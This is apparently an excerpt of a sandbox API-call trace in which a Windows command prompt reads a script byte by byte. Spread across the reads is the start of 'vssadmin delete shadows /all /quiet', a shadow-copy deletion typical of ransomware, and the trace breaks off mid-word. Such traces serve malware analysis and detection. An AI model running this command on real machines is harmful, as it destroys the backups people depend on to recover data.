| out: hHeap=0x2e0000) returned 1 [0040.337] GetProcessHeap () returned 0x2e0000 [0040.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f97e0 | out: hHeap=0x2e0000) returned 1 [0040.338] _vsnwprintf (in: _Buffer=0x4a9d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f538 | out: _Buffer="\r\n") returned 2 [0040.338] _get_osfhandle (_FileHandle=1) returned 0xf4 [0040.338] GetFileType (hFile=0xf4) returned 0x3 [0040.338] _get_osfhandle (_FileHandle=1) returned 0xf4 [0040.338] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0040.338] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f508, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f508*=0x2, lpOverlapped=0x0) returned 1 [0040.338] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0040.338] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9cc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0040.338] _vsnwprintf (in: _Buffer=0x4a9beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x25f548 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0040.338] _vsnwprintf (in: _Buffer=0x4a9bebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x25f548 | out: _Buffer=">") returned 1 [0040.338] _get_osfhandle (_FileHandle=1) returned 0xf4 [0040.338] GetFileType (hFile=0xf4) returned 0x3 [0040.338] _get_osfhandle (_FileHandle=1) returned 0xf4 [0040.338] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a9cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0040.338] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9cc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x25f538, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesWritten=0x25f538*=0x26, lpOverlapped=0x0) returned 1 [0040.338] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.338] GetFileType (hFile=0xe8) returned 0x3 [0040.339] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.339] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.339] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.339] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0040.339] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.339] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.339] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.339] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0040.339] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.339] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.339] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.339] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0040.339] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.339] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.339] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.339] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0040.339] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.339] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.339] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.339] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0040.340] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.340] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.340] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.340] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0040.340] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.340] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.340] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.340] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0040.340] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.340] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.340] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.340] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0040.340] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.340] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.340] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.340] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0040.340] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.340] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.340] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.340] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0040.340] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.340] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.341] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.341] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0040.341] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.341] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.341] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.341] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0040.341] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.341] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.341] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.341] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0040.341] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.341] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.341] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.341] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0040.341] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.341] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.341] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.341] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0040.341] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.341] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.341] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.341] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0040.342] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.342] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.342] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.342] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0040.342] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.342] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.342] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.342] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0040.342] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.342] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.342] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.342] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0040.342] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.342] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.342] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.342] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0040.342] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.342] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.342] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.342] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0040.342] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.342] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.343] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.343] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0040.343] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.343] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.343] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.343] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0040.343] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.343] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.343] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.343] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.343] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.343] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.343] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.343] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0040.343] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.343] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.343] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.343] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0040.343] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.343] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.343] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.343] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0040.344] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.344] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.344] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.344] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0040.344] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.344] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.344] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.344] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.344] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.344] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.344] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.344] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0040.344] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.344] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.344] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.344] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0040.344] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.344] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.344] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.344] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0040.344] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.344] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.345] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.345] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0040.345] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.345] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.345] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9cc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f838, lpOverlapped=0x0 | out: lpBuffer=0x4a9cc320*, lpNumberOfBytesRead=0x25f838*=0x1, lpOverlapped=0x0) returned 1 [0040.345] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9cc320, cbMultiByte=1, lpWideCharStr=0x4a9ce362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.345] _get_osfhandle (_FileHandle=0) returned 0xe8 [0040.345] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, 